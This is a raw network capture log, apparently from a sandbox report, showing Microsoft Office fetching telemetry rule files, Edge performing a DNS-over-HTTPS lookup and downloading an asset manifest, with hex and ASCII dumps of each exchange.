2024-11-12 07:30:36 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 30 30 31 31 35 31 44 33 45 34 36 32 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 64 61 62 32 61 36 32 33 2d 30 39 66 63 2d 34 62 36 39 2d 39 61 36 66 2d 66 34 63 64 33 35 33 31 37 64 31 35 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018001151D3E462</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="dab2a623-09fc-4b69-9a6f-f4cd35317d15" LicenseID="3252b20c-d425-4711
2024-11-12 07:30:36 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:33 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:33 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 28b142bf-301e-0000-3ca7-34eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073033Z-15869dbbcc6khw88hC1DFWbb20000000098g000000001avh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:33 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:33 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 06fd63be-801e-008f-5e01-2d2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073033Z-16547b76f7ftdm8dhC1DFWs13g0000000fb00000000047gh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49837	172.64.41.3	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:33 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 07:30:33 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 40 00 0c 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcom)@<
2024-11-12 07:30:34 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 07:30:33 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e14d1425846464d-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 07:30:34 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 03 00 00 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 0d 5e 00 26 11 70 72 6f 64 2d 61 74 6d 2d 77 64 73 2d 65 64 67 65 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 41 00 05 00 01 00 00 00 7a 00 27 0e 70 72 6f 64 2d 61 67 69 63 2d 77 75 2d 32 06 77 65 73 74 75 73 08 63 6c 6f 75 64 61 70 70 05 61 7a 75 72 65 c0 2c c0 73 00 01 00 01 00 00 00 0a 00 04 28 76 ab a7 00 00 29 04 d0 00 00 00 00 01 1f 00 0c 01 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcom^&prod-atm-wds-edgetrafficmanagernetAz'prod-agic-wu-2westuscloudappazure,s(v)

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:34 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:34 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ba15ece-101e-0034-5d08-2c96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073034Z-16547b76f7f7scqbhC1DFW0m5w0000000f4000000000as7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:34 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:34 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:34 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:34 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 1572e0e4-b01e-003e-1a0c-2d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073034Z-16547b76f7f4k79zhC1DFWu9y00000000fdg000000003bw0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:34 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:34 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:34 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 52d88e03-c01e-007a-7b0b-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073034Z-16547b76f7fcjqqhhC1DFWrrrc0000000fcg000000001p1p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:34 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:34 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:34 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d2524e31-e01e-0052-0da7-34d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073034Z-17df447cdb5jg4kthC1DFWux4n0000000bng000000007p3q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:34 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:34 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:34 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 2d5e3293-901e-002a-4f00-2d7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073034Z-16547b76f7fp6mhthC1DFWrggn0000000ffg000000003nps x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:34 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49846	13.107.246.57	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:34 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:35 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:34 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 8b1254cc-601e-0033-2bb1-34312a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T073034Z-17df447cdb5wrr5fhC1DFWte8n0000000c50000000002q0f Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:35 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-12 07:30:35 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-11-12 07:30:35 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
